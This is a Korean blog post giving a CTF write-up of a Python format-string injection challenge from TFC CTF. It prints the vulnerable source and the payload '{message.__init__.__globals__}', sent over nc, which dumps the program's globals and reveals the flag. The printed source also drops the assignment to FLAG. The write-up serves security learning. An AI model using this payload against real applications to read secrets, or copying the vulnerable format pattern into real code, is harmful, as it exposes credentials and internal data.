티스토리 뷰
문제 설명
기억에 남는 문제 중 하나인데, 요약하자면 Python Format String 에서 사용자로부터 문자열을 입력받고 이를 화면 상에 출력하도록 만든다면 Python 내부 정보를 노출할 수 있는 취약점에 대한 문제입니다.
문제 풀이
import dataclasses
import errno
import os
import random
os.environ.get("FLAG")
if not FLAG:
print("If you're running this locally, please create a fake flag env variable.")
print("If you're seeing this on the remote server, please contact the admins.")
exit(errno.ENOENT)
@dataclasses.dataclass
class Message:
message: str
def __str__(self):
return self.message
__repr__ = __str__
MESSAGES = [
Message("Thank you for using our service."),
Message("Here is your pattern:"),
Message("Until next time!")
]
pattern = input("pattern> ")
count = int(input("count> "))
final_pattern = pattern * count
print(f"{{message}} {final_pattern}".format(message=random.choice(MESSAGES)))
주어진 소스코드 main.py 의 내용은 위와 같습니다.
input 함수로 사용자로부터 받은 입력 값을 pattern 변수에 넣고, count 변수와 문자열 곱셈 연산하여 final_pattern 변수에 그 결과 문자열을 넣고 print 함수에서 format string 스타일로 문자열들을 출력하고 있습니다.
이 때 final_pattern 에서 {message} 로 입력값이 들어가면, message 객체에 접근이 가능해집니다.
>python main.py
pattern> {message}
count> 1
Until next time! Until next time!
위와 같이 message 에는 python format string 에서 "Until next time!" 이라는 문자열이 대입된 상태이므로 해당 문자열 값을 출력해주는 것을 알 수 있습니다.
>python main.py
pattern> {message.__class__}
count> 1
Thank you for using our service. <class '__main__.Message'>
그리고 위 결과를 보면 message 객체의 클래스를 출력하도록 했을 때, class object 대표 문자열이 출력되는 것을 볼 수 있습니다.
위처럼 내부 객체에 접근이 가능하게 설계되어 있기 때문에 전역 객체에도 접근이 가능해집니다. 문제에서는 전역 환경변수인 os.environ.get("FLAG")에 설정되어 있다고 말하고 있기 때문에 globals 에 접근해서 FLAG 값이 있는지 살펴보도록 합니다.
>nc 01.linux.challenges.ctf.thefewchosen.com 49503
pattern> {message.__init__.__globals__}
count> 1
Thank you for using our service. {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fa6245bfc10>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/ctf/main.py', '__cached__': None, 'dataclasses': <module 'dataclasses' from '/usr/local/lib/python3.10/dataclasses.py'>, 'errno': <module 'errno' (built-in)>, 'os': <module 'os' from '/usr/local/lib/python3.10/os.py'>, 'random': <module 'random' from '/usr/local/lib/python3.10/random.py'>, 'FLAG': 'TFCCTF{Th15_G1vEs_pr1ntf_v1b35}', 'Message': <class '__main__.Message'>, 'MESSAGES': [Thank you for using our service., Here is your pattern:, Until next time!], 'pattern': '{message.__init__.__globals__}', 'count': 1, 'final_pattern': '{message.__init__.__globals__}'}
이렇게 'FLAG': 'TFCCTF{Th15_G1vEs_pr1ntf_v1b35}' 값을 획득할 수 있었습니다.
문제 풀면서 python format string 에도 다양한 기능이 있다는 것을 알 수 있었는데 아래 링크에서 많은 참고가 되었습니다.
- 끝 -
'보안 > CTF' 카테고리의 다른 글
[corCTF2022] - [Web] msfrog-generator Writeup(문제풀이) (0) | 2022.08.11 |
---|---|
[TFC CTF] - [web] TUBEINC Writeup(문제풀이) (0) | 2022.08.01 |
[Hackthebox] - [Forensics] Rogue Writeup(문제풀이) (1) | 2022.07.27 |
[Hackthebox] - [Forensics] Mbcoin Writeup(문제풀이) (0) | 2022.07.26 |
[Hackthebox] - [Forensics] Perseverance Writeup(문제풀이) (0) | 2022.07.21 |